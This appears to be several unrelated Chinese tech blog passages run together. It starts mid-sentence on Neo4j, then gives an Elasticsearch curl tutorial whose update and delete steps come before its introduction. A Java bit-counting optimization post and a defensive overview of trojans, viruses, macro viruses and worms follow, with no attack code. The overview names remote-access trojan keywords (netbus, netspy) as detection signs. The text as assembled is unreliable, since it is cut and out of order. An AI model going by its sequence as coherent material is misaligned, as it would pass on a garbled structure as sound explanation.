(book:Book)-[contains:CONTAINS]->(bookStore:BOOKSTORE)提示创建成功Added 2 labels, created 2 nodes, created 1 relationship, completed after 199 ms.这里关系名称是“CONTAINS”关系标签是“contains”。MATCH (book:Book)-[contains:CONTAINS]->(bookStore:BOOKSTORE) return contains这么看是看不出有啥关系的,但是,我们可以从另外的一个位置这样看下来,这个 Neo4J 简单操作是不是就学会了,阿粉接下来的文章中讲怎么使用 Java 来操作 Neo4J 数据库。欢迎大家来观看。
查询文档索引文档过后,我们再根据下面的语句进行文档的获取curl -XGET 'http://localhost:9200/student/class1/1?pretty'更新文档我们可以通过前面 PUT 语句再次执行,进行文档的更新,如下所示curl -XPUT 'http://localhost:9200/student/class1/1?pretty' -H 'Content-Type:application/json' -d ' { "name": "ziyou", "age": "20", "date": "2021/12/19" }说明:可以看到 age 这个字段已经变更了,但是这里我们还看到多了一个 version 字段,正常这里应该是 2 ,阿粉只是多操作了几次所以这里是 7。需要说明的是,更新文档并不是更新原来的文档,Elasticsearch 底层帮我们把原来的文档标记成删除状态,然后创建了一个新的文档,再加上了一个版本号,因为文档 ID 是没有变化的。当随着我们索引数据的越来越多,Elasticsearch 底层会帮我们清理这些删除的文档数据,从我们的视角来看,就是文档已经更新了。删除文档curl -XDELETE 'http://localhost:9200/student/class1/1通过 DELETE 指令,我们可以将文档进行删除,删除也同更新一样,只是标记为删除状态,并不会立马从磁盘中删除,随着不断的索引更多的数据,Elasticsearch 将会在后台清理标记为已删除的文档。同时进行删除的时候,version 版本也会进行增加。
搜索引擎在任何人的日常生活和工作中都承担着很重要的角色,说到搜索大家想到的最多可能就是百度,谷歌,必应等搜索引擎。这些确实是 PC 互联网时代的搜索先锋,但是现在移动互联网时代搜索已经很普及了,各大应用基本上都支持搜索,像抖音,微信,知乎等等应用程序,都会内置搜索引擎来实现自家内容的搜索。Elasticsearch 是一个实时的分布式搜索分析引擎,它的搜索速度和规模,堪称前所未有。我们只需要把数据按照规定的索引格式去存储,后续就可以进行极致的搜索,因此 Elasticsearch 被广泛的应用于各大互联网公司。根据 Elasticsearch 的官方介绍,Wikipedia,Github,Stack Overflow 等大厂都在使用。“Wikipedia 使用 Elasticsearch 提供带有高亮片段的全文搜索,还有 search-as-you-type 和 did-you-mean 的建议。卫报使用 Elasticsearch 将网络社交数据结合到访客日志中,为它的编辑们提供公众对于新文章的实时反馈。Stack Overflow 将地理位置查询融入全文检索中去,并且使用 more-like-this 接口去查找相关的问题和回答。GitHub 使用 Elasticsearch 对1300亿行代码进行查询。安装使用Elasticsearch 提供了开箱即用的功能,我们通过在官网 https://www.elastic.co/downloads/elasticsearch 下载最新的符合自己电脑系统的稳定版本,然后解压后执行./bin/elasticsearch显示 successfully 表示启动成功,再通过执行命令curl 'http://localhost:9200/?pretty' 可以看到如下输出,表示 Elasticsearch 本地启动成功。在使用 Elasticsearch 之前,我们先简单介绍一个 Elasticsearch 的存储结构,便于我们后面进行学习。首先我们要知道一个事情那就是 Elasticsearch 是面向文档的,所谓文档就是一个 document,如果用过 MongoDB的话,小伙伴对文档应该比较熟悉,是一个 NoSQL 的形式,可以理解为一个JSON 形式的结构,跟我们常用的 MySQL 关系型的结构不一样,目前基本上任何一门语言的对象都可以直接转化成 JSON 形式,这极大方便了我们的使用。文档的形式文档的组成由文档数据和元数据组成,其中元数据包括_index,_type,_id 三个特别重要的元数据,其中 _index 表示文档在哪存放,_type 表示文档的对象类别,_id文档唯一标识。虽然 Elasticsearch 是以文档形式存储的,但这里我们可以用关系型数据库作类比,比如这里的_index 可以类似于 MySQL 的 database,_type 类似有 MySQL 的 table,其中_id 类似于 ID 字段。与 Elasticsearch 进行交互通过官方文档我们可以知道一个 Elasticsearch 请求和任何 HTTP 请求一样由若干相同的部件组成:curl -X<VERB> '<PROTOCOL>://<HOST>:<PORT>/<PATH>?<QUERY_STRING>' -d '<BODY>'被 < > 标记的部分表示含义如下:标记含义VERB适当的 HTTP 方法 或 谓词 : GET、 POST、 PUT、 HEAD 或者 DELETE。PROTOCOLhttp 或者 https(如果你在 Elasticsearch 前面有一个 https 代理)HOSTElasticsearch 集群中任意节点的主机名,或者用 localhost 代表本地机器上的节点。PORT运行 Elasticsearch HTTP 服务的端口号,默认是 9200 。PATHAPI 的终端路径(例如 _count 将返回集群中文档数量)。Path 可能包含多个组件,例如:_cluster/stats 和 _nodes/stats/jvm 。QUERY_STRING任意可选的查询字符串参数 (例如 ?pretty 将格式化地输出 JSON 返回值,使其更容易阅读)BODY一个 JSON 格式的请求体 (如果请求需要的话)示例查看 Elasticsearch 集群中文档的个数:curl -XGET 'http://localhost:9200/_count?pretty' -H 'Content-Type:application/json' -d ' { "query": { "match_all": {} } }'返回如下,其中 count 为 0,表示我们集群中暂时还没有文档:索引文档通过我们上面提到的内容,这里我们尝试进行一个文档的索引,语句如下,然后再查询一下文档的数据,结果如下curl -XPUT 'http://localhost:9200/student/class1/1?pretty' -H 'Content-Type:application/json' -d ' { "name": "ziyou", "age": "18", "date": "2021/12/19" } '这里我们通过像 student 索引 class1 的 type 下面索引了一篇 id 为 1 的学生,通过 pretty 参数将返回美化查看,通过上面的操作,现在我们的 Elasticsearch 集群里面已经存在了一个 id 为 1 的学生了。
最近阿粉在实现一个功能的时候,遇到了一个性能问题,一个方法在某些场景下运行时长达到了 4s 多,虽然说业务功能是实现了,但是不管是从业务的角度还是作为一个有追求的程序员,都是不能接受的,所以优化这个方法势在必行。在优化的过程中就用到了本文要说明的一个知识点,看阿粉慢慢道来。在提供优化代码之前,先简单的描述一下这个方法做的事情,要做的事情很简单,就是返回一个整数,整数表示的是二进制数组中有多少个 1。给到了入参是一个 Map<String, String> 其中 key 我们不关心,value 是二进制字符串。需要注意的是二进制字符串的长度很长,10 万位左右;并且长度不一定相同。我们需要做的事情就是将所有的二进制字符串数组进行或运算,得到一个最终的二进制数组,然后计算其中 1 的个数进行返回。根据我们上面的分析,列一下我们写代码的步骤:因为我们要按位进行或运算,所以二进制的长度应该要一样才行,我们取最长的二进制的长度为 maxLength,所有没有这么长的二进制字符串,我们需要进行前面补 0 ;将所有的二进制字符串按位进行或运算;遍历最终的数组输出 1 的个数;按照这个思路,我们可以写出下面的代码,maxLength 作为入参传递到我们的方法中。public static long version1(Map<String, String> map, int maxLength) { long result = 0L; if (!CollectionUtils.isEmpty(map)) { //1. 将长度不够 maxLength 长的二进制字符串前面补 0 for (Map.Entry<String, String> m : map.entrySet()) { if (m.getValue().length() < maxLength) { StringBuilder newValue = new StringBuilder(); for (int i = 0; i < maxLength - m.getValue().length(); i++) { newValue.append(0); } newValue.append(m.getValue()); map.put(m.getKey(), newValue.toString()); } } //2. 将每个关键字的二进制字符串按位进行或 | 运算 Integer[] sum = new Integer[maxLength]; for (int i = 0; i < maxLength; i++) { sum[i] = 0; } for (Map.Entry<String, String> m : map.entrySet()) { for (int i = 0; i < maxLength; i++) { String substring = m.getValue().substring(i, i + 1); sum[i] = sum[i] | Integer.parseInt(substring); } } //3. 统计计算结果中 1 的个数 for (Integer integer : sum) { result += integer; } } return result; }简单分析一下:第一步的时候我们构造了一个 StringBuilder 对象,根据二进制字符串的长度和 maxLength 的长度,在前面进行补 0 操作,两者相差多少就在前面补多少个 0,然后将原始的二进制补到最后,得到一个新的二进制字符串;第二步我们遍历 Map,将二进制字符串中的每一位与之前构造的全是 0 的 sum 数组进行或运算操作,并将结果写到 sum 数组对应的位置上,因为经过第一步的补 0 这里 Map 中所有的 value 的长度是一样的;第三步再遍历 sum 数组,将每一位累加起来,得到的结果就是我们需要的结果,因为 sum 数组中只有 1 和 0,所以总和就是 1 的个数。代码写到这里,内心毫无波澜,没有一丝丝感觉,毕竟只要思路清晰,代码的实现都是小事。然而就当把这个功能发到测试环境的时候,测试妹妹反馈某些情况下在前端页面等待的时间太长了,loading 的小按钮一直转不停,往往要 4,5 秒的时间才能得到结果,体验太差了。抱着以用户体验为目标的决心(其实是怕被扣工资),阿粉看了一下测试用例,追踪了一下代码结果发现当这个方法中 map 中的 key 达到 1000+ 的时候,整个方法竟然执行了4s 多!是可忍孰不可忍,作为一个有追求的程序员怎么能让这种情况发生了,不得已阿粉走上了优化这个方法的道路。优化之前我们当然需要知道有哪些可以优化的地方,看下这段代码,发现里面好多 for 循环,毫无疑问我们的优化目标就是降低 for 循环的个数以及次数。仔细看了一下代码,我们想一想真的有必要要先将每个二进制字符串进行前面补 0 的动作吗?是不是可以在进行或运算的时候发现位数不够的时候自动补 0 呢?还有就是我们真的有必要在最后遍历 sum 数组,得到 1 的个数吗?因为是或运算,只要 sum[i] 是 1 了,或运算得到的结果就一定是 1 那这个时候是不是就可以得到结果呢?带着这两个问题,将代码优化成了下面的样子:public static long version2(Map<String, String> map, int maxLength) { long result = 0L; if (!CollectionUtils.isEmpty(map)) { Integer[] sum = new Integer[maxLength]; for (int i = 0; i < maxLength; i++) { sum[i] = 0; } // 1. 将长度不够 maxLength 长的二进制字符串前面补 0 // 2. 并将每个关键字的二进制字符串按位进行或 | 运算 for (Map.Entry<String, String> m : map.entrySet()) { String value = m.getValue(); for (int i = maxLength - 1; i >= 0; i--) { char c; int index = value.length() - i - 1; if (index < 0) { c = '0'; } else { c = value.charAt(index); } //3. 统计计算结果中 1 的个数 int temp = sum[i]; sum[i] = sum[i] | Integer.parseInt(String.valueOf(c)); if (temp == 0 && sum[i] == 1) { result += 1; } } } } return result; }简单分析一下,我们可以从数组的最后一位开始进行按位或运算,这样当得到的 index 小于 0 的时候,表示该二进制数组已经遍历完了,那么这个时候如果还没有达到 maxLength 的长度,我们就补 0,用 0 进行或运算;同时我们在进行或运算的时候,通过记录 sum[i] 在或运算前和或运算后差异来记录 1 的个数,我们只记录或运算前 sum[i] == 0 或运算后 sum[i] == 1 的值,就是我们需要的结果。经过我们优化后的代码,首先从 for 循环的个数来看就已经减少了,我们测试一下效果如下,这里因为二进制的数组很长,不能放到公众号文章里面,就简化了。public static void main(String[] args) { String binaryString1 = "1000101010010101010101010100110101010101001001010101010101..."; Map<String, String> map = new HashMap<>(16); for (int i = 0; i < 1500; i++) { map.put("key_" + i, binaryString1); } int maxLength = 0; for (Map.Entry<String, String> m : map.entrySet()) { maxLength = Math.max(maxLength, m.getValue().length()); } long start1 = System.currentTimeMillis(); long aLong1 = version1(map, maxLength); System.out.println("version1:" + aLong1 + ":" + (System.currentTimeMillis() - start1)); long start2 = System.currentTimeMillis(); long aLong2 = version2(map, maxLength); System.out.println("version1:" + aLong2 + ":" + (System.currentTimeMillis() - start2)); }从测试结果我们可以看到,当 map size 在 1000 的时候,version1 耗费了 4034ms,version2 耗费了 2090ms,性能提升接近 2 倍说明我们的优化还是有效果的。事情到了这里,你以为就结束了吗?那就错了,因为还没有提到阿粉前面说的知识点,下面重点来了,请注意看。version2 的代码我们能不能再优化了?不管能不能再优化,有一行代码看起来总是让人很不爽,那就是sum[i] = sum[i] | Integer.parseInt(String.valueOf(c)); 这一行,将 char 字符,转换成 String,再通过 Integer.parseInt() 转成 int 的 0 或者 1 来进行或运算。很容易让人想到,这里经过几层的包装转换,是很浪费资源的,所以这里也是我们优化的点。这一行的目标是进行或运算,Integer.parseInt(String.valueOf(c)) 的目标就是将 char 的 0 或者 1 转成 int 的 0 或者 1。那为什么我们不直接用 c ?然后我们测试了一下下面的代码,结果跟我们想象的不太一样,但是这个结果也是可以用的,我们再后面减掉一个 48 是不是就可以了呢?得到的就是 0 和 1 了。经过上面的测试,我们 version3 版本的代码如下:public static long version3(Map<String, String> map, int maxLength) { long result = 0L; if (!CollectionUtils.isEmpty(map)) { Integer[] sum = new Integer[maxLength]; for (int i = 0; i < maxLength; i++) { sum[i] = 0; } // 1. 将长度不够 maxLength 长的二进制字符串前面补 0 // 2. 并将每个关键字的二进制字符串按位进行或 | 运算 for (Map.Entry<String, String> m : map.entrySet()) { String value = m.getValue(); for (int i = maxLength - 1; i >= 0; i--) { char c; int index = value.length() - i - 1; if (index < 0) { c = '0'; } else { c = value.charAt(index); } //3. 统计计算结果中 1 的个数 int temp = sum[i]; sum[i] = sum[i] | ((int) c - 48); if (temp == 0 && sum[i] == 1) { result += 1; } } } } return result; }测试结果如下:我们发现在同样大小的情况下,version3 版本直接进入到了 1 秒了,只用了 746ms,这次的优化性能提升了接近 5.5 倍!至此此次的性能优化终于画上了句号。相信看到这里的小伙伴也知道了阿粉前面提到的知识点是什么了,那就是 char 类型可以跟 int 做转换,其实这就是我们学编程之初学到的 ASCII 码,可能学习的时候并没有想过要怎么用,当真正用到的时候就会发现真香!总结一下今天阿粉给大家介绍了如果将一个运行 4s 多的方法,优化到了 800ms 以内,通过实战介绍了 ASCII 在我们日常工作中的应用。如果大家觉得看了文章的内容有收获,欢迎小伙伴们收藏,点赞,评论,转发,每一次互动都是对阿粉的鼓励。
木马1.定义:木马全称为特洛伊木马(Trojan Horse,英文则简称Trojan),在计算机安全学中,特洛伊木马是指一种计算机程序,表面上或实际上有某种有用的功能,同时又含有隐藏的可以控制用户计算机系统、危害系统安全的功能,可能造成用户资料的泄漏、破坏或整个系统的崩溃。在一定程度上,木马也可以称为计算机病毒。2.木马病毒工作原理一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。3.木马病毒的检测查看system.ini、win.ini、启动组中的启动项目。在【开始】【| 运行】命令,输入msconfig,运行Windows自带的“系统配置实用程序”。选中system.ini标签,展开【boot】目录,查看“shell=”这行,正常“shell=Explorer.exe”,如果不是,就有可能中了木马病毒。选中win.ini标签,展开【windows】目录项,查看“run=”和“load=”行,等号后面应该为空。再看看有没有非正常启动项目,要是有类似netbus、netspy、bo等关键词,就极有可能是中了木马。其他的一些方法,例如在正常操作计算机时,发现计算机的处理速度明显变慢、硬盘不停读写、鼠标不听使唤、键盘无效、一些窗口自动关闭或打开……这一切都表明可能是木马客户端在远程控制计算机。4.木马病毒实例Internet上每天都有新的木马出现,所采取的隐蔽措施也是五花八门。下面介绍几种常见的木马病毒的清除方法。预防病毒病毒预防1.对病毒的预防在病毒防治工作中起主导作用,是病毒防治的重点,主要针对病毒可能入侵的系统薄弱环节加以保护和监控。预防计算机病毒要从以下几个方面着手。(1)检查外来文件。对于网络上下载的或者外部存储器中的程序和文档,在执行或打开文档之前,一定要检查是否有病毒。(2)局域网预防。尽可能选择无盘工作站。限制用户对服务器上可执行文件的操作。使用抗病毒软件动态检查使用中的文件。(3)使用确认和数据完整性工具。(4)周期性备份工作文件。2.网络病毒的防治相对单机病毒的防治具有更大的难度。目前,网络大都采用Client/Server(客户机/服务器)的工作模式。防治网络病毒需要从服务器和工作站两个主要方面并结合网络管理着手解决。(1)在网络管理方面进行防治——制定严格的工作站安全操作规程。——建立完整的网络软件和硬件的维护制度,定期对各工作站进行维护。——建立网络系统软件的安全管理制度。——设置正确的访问权限和文件属性(2)基于工作站的防治方法工作站是网络的门,只要将这扇门关好,就能有效地防治病毒入侵。可以使用单机反病毒软件、防病毒卡以及工作站防病毒芯片。(3)基于服务器的防治方法服务器是网络的核心,一旦服务器被病毒感染,就会使整个网络陷于瘫痪。目前,基于服务器的防治病毒方法一般采用NLM(Netware Loadable Module)技术进行程序设计,以服务器为基础,提供实时扫描病毒能力。其优点主要表现在不占用工作站的内存,可以集中扫毒,能实现实时扫描功能,以及软件安装和升级都很方便等方面。病毒的入侵必将对系统资源构成威胁,即使良性病毒也要侵吞系统的宝贵资源,所以防治病毒入侵远比病毒入侵后再加以清除更为重要。抗病毒技术必须建立“预防为主,消灭结合”的基本观念。检测病毒检测计算机上是否被病毒感染,通常可以采用手工检测和自动检测。——手工检测是指通过一些工具软件(比如Debug.com、Pctools.exe等),对易遭病毒攻击和修改的内存及磁盘的相关部分进行检测,通过与正常状态进行对比来判断是否被病毒感染。虽然该方法操作复杂,易出错且效率低,但是该方法可以检测和识别未知病毒,以及检测一些自动检测工具不能识别的新病毒。——自动检测是指通过一些诊断软件和杀毒软件,来判断一个系统或磁盘是否有病毒,如使用瑞星、金山毒霸等软件。虽然该方法可以方便检测大量病毒且操作简单,但是自动检测工具只能识别已知的病毒,而且它的发展总是滞后于病毒的发展。对病毒进行检测可以采用手工方法和自动方法相结合的方式。检测病毒的技术和方法主要有以下几种。比较法比较法是将原始备份与被检测的引导扇区或被检测的文件进行比较。该方法的优点是简单、方便,不需要专用软件。缺点是无法确认计算机病毒的种类和名称。由于要进行比较,保存好原始备份就非常重要了,制作备份时必须在无计算机病毒的环境下进行,制作好的备份必须妥善保管,贴上标签,并加上写保护。特征代码法特征代码法是用每一种计算机病毒体含有的特定字符串对被检测的对象进行扫描。如果被检测对象内部发现了某一种特定字符串,就表明发现了该字符串所代表的的计算机病毒,这种计算机病毒扫描软件称之为Virus Scanner。该方法优点是检测准确快速、可识别病毒的名称、误报警率低,依据检测结果可做解毒处理。缺点是不能检测未知病毒,且搜集已知病毒的特征代码费用开销大,在网络上效率低。分析法分析法是防杀计算机病毒不可缺少的重要技术,该方法要求具有比较全面的有关计算机、DOS、Windows、网络等的结构和功能调用,以及与计算机病毒相关的各种知识。除此之外,还需要反汇编工具、二进制文件编辑器等用于分析的工具程序和专用的实验计算机。分析的步骤分为静态分析和动态分析两种。静态分析是指利用反汇编工具将计算机病毒代码打印成反汇编指令程序清单后进行分析,了解计算机病毒分成哪些模块,使用了哪些系统调用,采用了哪些技巧,并将计算机病毒感染文件的过程翻转为清除计算机病毒、修复文件的过程。动态分析是指,利用DEBUG等调试工具在内存带毒的情况下,对计算机病毒做动态跟踪,观察计算机病毒的具体工作过程,以进一步在静态分析的基础上理解计算机病毒的工作原理。验和法计算正常文件的校验和,并将结果写入此文件或其他文件中保存。在文件使用过程中或使用之前,定期检查文件的校验和与原来保存的校验和是否一致,从而可以发现文件是否被感染,这种方法称为校验和。该方法优点是方法简单,能发现未知病毒,也能发现被检查文件的细微变化。缺点是会误报警,不能识别病毒名称,不能对付隐蔽型病毒。行为监测法行为监测法是利用病毒的特有行为特征性来监测病毒的方法。监测病毒的行为特征如下。——占有INT 13H所有的引导型病毒,都攻击Boot扇区或主引导扇区。——修改DOS系统数据区的内存总量。——对.com、.exe文件进行写入操作。——病毒程序与宿主程序进行切换。行为监测法的优点是可发现未知病毒,能够相当准确地预报未知的多数病毒。行为监测法的缺点是会误报警,不能识别病毒名称,实现时有一定难度。软件仿真扫描法该技术专门用于对付多态性计算机病毒,能够仿真CPU执行,在DOS虚拟机下伪执行计算机病毒程序,安全地将其解密,然后再进行扫描。先知扫描法先知扫描技术就是将专业人员用来判断程序是否存在计算机病毒代码的方法,分析归纳成专家系统和知识库,再利用软件仿真技术伪执行新的计算机病毒,超前分析出新计算机病毒代码,用于对付以后的计算机病毒。人工智能陷阱技术和宏病毒陷阱技术人工智能陷阱技术是一种监测计算机行为的常驻式扫描技术。其优点是执行速度快、操作简便,且可以检测到各种计算机病毒;缺点是程序设计难度大,且不容易考虑周全。宏病毒陷阱技术则是结合了特征代码法和人工智能陷阱技术,根据行为模式来检测已知及未知的宏病毒。实时I/O扫描实时I/O扫描的目的在于即时对计算机上的输入/输出数据作病毒码比对,希望能够在病毒尚未被执行前,将病毒防御于门外。网络病毒检测技术网络监测法是一种检查、发现网络病毒的方法。网络病毒的特点是通过网络进行传播,如果在服务器、网络接入端和网站设置病毒防火墙,可以起到大规模防止病毒扩散的目的。杀毒技术将染毒文件的病毒代码摘除,使之恢复为可正常运行的文件,称为病毒的清除。清除病毒所采用的技术称为杀毒技术。引导型病毒的清除引导型病毒感染时一般攻击硬盘主引导区以及硬盘或移动存储介质的Boot扇区。一般使用FDISK/MBR可以清除大多数引导型病毒。宏病毒的清除为了恢复宏病毒,须用非文档格式保存足够的信息。RTF(Rich Text Format)适合保留原始文档的足够信息而不包含宏。然后退出文档编辑器,删除已感染的文档文件以及Normal.dot和start-up目录下的文件。文件型病毒的清除一般文件型病毒的染毒文件可以修复。当恢复受感染文件需要考虑下列因素。——不管文件的属性,测试和恢复所有目录下的可执行文件。——希望确保文件的属性和最近修改时间不改变。——一定考虑一个文件多重感染的情况。病毒的去激活清除内存中的病毒是指把RAM中的病毒进入非激活状态。这需要操作系统和汇编语言的知识。使用杀病毒软件清除病毒计算机一旦感染病毒,一般用户首选是使用杀病毒软件来清除病毒。其优点是使用方便、技术要求不高,不需要具有太多的计算机知识。缺点是有时会删除带毒文件,可能导致系统不能正常运行,同时需要经常升级病毒代码库。结语在因特网技术以及计算机技术不断发展的形势下,我国已经完全进入信息化时代,信息化时代的到来,使得人们的生活以及工作都得到了极大地方便,但是,在为人们提供录入巨大方便的同时,网络同样也存在着一定的安全隐患。
计算机病毒的特点传染性这是病毒的基本特征。计算机病毒会通过各种渠道从已被感染的计算机扩散到未被感染的计算机,造成被感染的计算机工作失常甚至瘫痪。是否具有感染性是判别一个程序是否为计算机病毒的重要条件。隐蔽性病毒通常附在正常程序中或磁盘较隐蔽的地方,也有的以隐含文件形式出现。如果不经过代码分析,病毒程序与正常程序是不容易区分开来的。计算机病毒的源程序可以是一个独立的程序体,源程序经过扩散生成的再生病毒一般采用附加和插入的方式隐藏在可执行程序和数据文件中,采取分散和多处隐藏的方式,当有病毒程序潜伏的程序被合法调用时,病毒程序也合法进入,并可将分散的程序部分在所非法占用的存储空间进行重新分配,构成一个完整的病毒体投入运行。潜伏性大部分病毒感染系统后,会长期隐藏在系统中,悄悄的繁殖和扩散而不被发觉,只有在满足其特定条件的时候才启动其表现(破坏)模块。破坏性任何病毒只要入侵系统,就会对系统及应用程序产生程度不同的影响。轻则会降低计算机工作效率,占用系统资源,重则可导致系统崩溃,根据病毒的这一特性可将病毒分为良性病毒和恶性病毒。良性病毒可能只显示些画面或无关紧要的语句,或者根本没有任何破坏动作,但会占用系统资源。恶性病毒具有明确的目的,或破坏数据、删除文件,或加密磁盘、格式化磁盘,甚至造成不可挽回的损失。不可预见性从病毒的监测方面看,病毒还有不可预见性。计算机病毒常常被人们修改,致使许多病毒都生出不少变种、变体,而且病毒的制作技术也在不断地深入性提高,病毒对反病毒软件常常都是超前的,无法预测。触发性病毒因某个事件或数值的出现,诱使病毒实施感染或进行进攻的特性称为可触发性。病毒既要隐蔽又要维持攻击力,就必须有可触发性。病毒的触发机制用于控制感染和破坏动作的频率。计算机病毒一般都有一个触发条件,它可以按照设计者的要求在某个点上激活并对系统发起攻击。针对性有一定的环境要求,并不一定对任何系统都能感染。寄生性计算机病毒程序嵌入到宿主程序中,依赖于宿主程序的执行而生存,这就是计算机病毒的寄生性。病毒程序在浸入到宿主程序后,一般会对宿主程序进行一定的修改,宿主程序一旦执行,病毒程序就被激活,从而进行自我复制。通常认为,计算机病毒的主要特点是传染性、隐蔽性、潜伏性、寄生性、破坏性。病毒介绍计算机病毒是人为制造的,有破坏性,又有传染性和潜伏性的,对计算机信息或系统起破坏作用的程序。它不是独立存在的,而是隐蔽在其他可执行的程序之中。计算机中病毒后,轻则影响机器运行速度,重则死机系统破坏;因此,病毒给用户带来很大的损失,通常情况下,我们称这种具有破坏作用的程序为计算机病毒。计算机病毒结构一般由引导模块、传染模块、表现模块三部分组成。引导模块 引导代码传染模块传染条件判断传染代码表现模块表现及破坏条件判断破坏代码 病毒分类(按照宿主分类)(1)引导型病毒引导区型病毒侵染软(硬、优)盘中的“主引导记录”(Master Boot Record,0柱面0磁头1扇区)解释:引导型病毒是放在引导型扇区里面,在计算机中都有个0柱面0磁头1扇区特殊的记录,是计算机开机的重要文件,病毒把Master Boot Record代码修改之后,在计算机开机的时候可能就会先激活病毒。(2)文件型病毒通常它感染各种可执行文件、有可解释执行脚本的文件、可包含宏代码的文件。每一次它们激活时,感染文件把病毒代码自身复制到其他文件中。(3)混合型病毒混合型病毒通过技术手段把引导型病毒和文件型病毒组合成一体,使之具有引导型病毒和文件型病毒两种特征,以两者相互促进的方式进行传染。这种病毒既可以传染引导区又可以传染可执行文件,增加了病毒的传染性以及生存率,使其传播范围更广,更难于清除干净。经典实例宏病毒1.病毒是一种使用宏编辑语言编写的病毒,主要寄生于Word文档或模板的宏中。一旦打开这样的文档,宏病毒就会被激活,进入计算机内存并驻留在Normal模板上,从而感染所有自动保存的文档。如果网络上其他用户打开感染病毒的文档,宏病毒就会转移到他的计算机上。宏病毒通常使用VB脚本,影响微软的Office组建或类似的应用软件,大多通过邮件传播。在我们计算机的Word文档中就可以找到宏,2.宏病毒的工作原理:3.宏病毒的特点:(1)感染数据文件。一般病毒只感染程序,而宏病毒专门感染数据文件。(2)多平台交叉感染。当Word、Excel这类软件在不同平台(如Windows、OS/2和MacinTosh)上运行时,会被宏病毒交叉感染。(3)容易编写。宏病毒以源代码形式出现,所以编写和修改宏病毒就更容易了。这也是宏病毒的数量居高不下的原因。(4)容易传播。只要打开带有宏病毒的电子邮件,计算机就会被宏病毒感染。此后,打开或新建文件都会感染宏病毒。4.宏病毒的预防防治宏病毒的根本在于限制宏的执行。(1)禁止所有宏的执行。在打开Word文档时,按住Shift键,即可禁止自动宏,从而达到防治宏病毒的目的。(2)检查是否存在可疑的宏。若发现有一些奇怪名字的宏,肯定就是病毒无疑了,将它立即删除即可。即便删错了也不会对Word文档内容产生任何影响。具体做法是,选择【工具】【| 宏】命令,打开【宏】对话框,选择要删除的宏,单击【删除】按钮即可。(3)按照自己的习惯设置。重新安装Word后,建立一个新文档,将Word的工作环境按照自己的使用习惯进行设置,并将需要使用的宏一次编制好,做完后保存新文档。这时候的Normal.dot模板绝对没有宏病毒,可将其备份起来。在遇到宏病毒时,用备份的Normal.dot模板覆盖当前的模板,可以消除宏病毒。(4)使用Windows自带的写字板。在使用可能有宏病毒的Word文档时,先用Windows自带的写字板打开文档,将其转换为写字板格式的文件保存后,再用Word调用。因为写字板不调用、不保存宏,文档经过这样的转换,所有附带的宏(包括宏病毒)都将丢失。(5)提示保存Normal模板。选择【工具】【| 选项】命令,在【选项】对话框中打开【保存】选项卡,选中【提示保存Normal模板】复选框。一旦宏病毒感染了Word文档,退出Word时,Word就会出现“更改的内容会影响到公用模板Normal,是否保存这些修改内容?”的提示信息,此时应选择“否”,退出后进行杀毒。(6)使用.rtf和.csv格式代替.doc和.xls。因为.rtf和.csv格式不支持宏功能,所以交换文件时候,用.rtf格式的文档代替.doc格式,用.csv格式的电子表格代替.xls格式。这样就可以避免宏病毒的传播。5.宏病毒的清除(1)手工清除。选取【工具】【| 宏】命令,打开【宏】对话框,单击【管理器】命令按钮,打开【管理器】对话框,选择【宏方案项】选项卡,在【宏方案项的有效范围】下拉列表中选择要检查的文档,将来源不明的宏删除。退出Word,然后到C盘根目录下查看有没有Autoexec.dot文件,如果有这个文件就删除,再找到Normal.dot文件,删除它。Word会自动重新生成一个干净的Normal.dot文件。到目录 C:\Program Files\Microsoft Office\Office\Startup 下查看有没有模板文件,如果有而且不是用户自己建立的,则删除它。重启Word,这时Word已经恢复正常了。(2)使用专业杀毒软件。目前的专业杀毒软件都具有清除宏病毒的能力。但是如果是新出现的病毒或者是病毒的变种则可能不能正常清除,此时需要手工清理.蠕虫1.定义:蠕虫(Worm)是一种通过网络传播的恶性病毒,通过分布式网络来扩散传播特定的信息或错误,进而造成网络服务遭到拒绝并发生死锁。2. 蠕虫病毒的基本结构和传播过程蠕虫的基本程序结构包括以下三个模块(1)传播模块:负责蠕虫的传播,传播模块又可分为三个基本模块,即扫描模块、攻击模块和复制模块。(2)隐藏模块:浸入主机后,隐藏蠕虫程序,防止被用户发现。(3)目的功能模块:实现对计算机的控制、监视或破坏等功能。蠕虫程序的一般传播过程为:(1)扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。(2)攻击:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell。(3)复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。由此可见,传播模块实现的实际上是自动入侵的功能,所以蠕虫的传播技术是蠕虫技术的核心。3.蠕虫病毒实例——熊猫烧香熊猫烧香是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能结束大量的反病毒软件进程。熊猫烧香是一种蠕虫病毒的变种,经过多次变种而来,由于中毒电脑的可执行文件会出现“熊猫烧香”图案,所以也被称为 “熊猫烧香”病毒。但原病毒只会对exe文件的图标进行替换,并不会对系统本身进行破坏。而大多数是中等病毒变种,用户电脑中毒后可能会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。同时,该病毒的某些变种可以通过局域网进行传播,进而感染局域网内所有计算机系统,最终导致企业局域网瘫痪,无法正常使用,它能感染系统中exe,com,pif,src,html,asp等文件,它还能终止大量的反病毒软件进程并且会删除扩展名为gho的备份文件。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
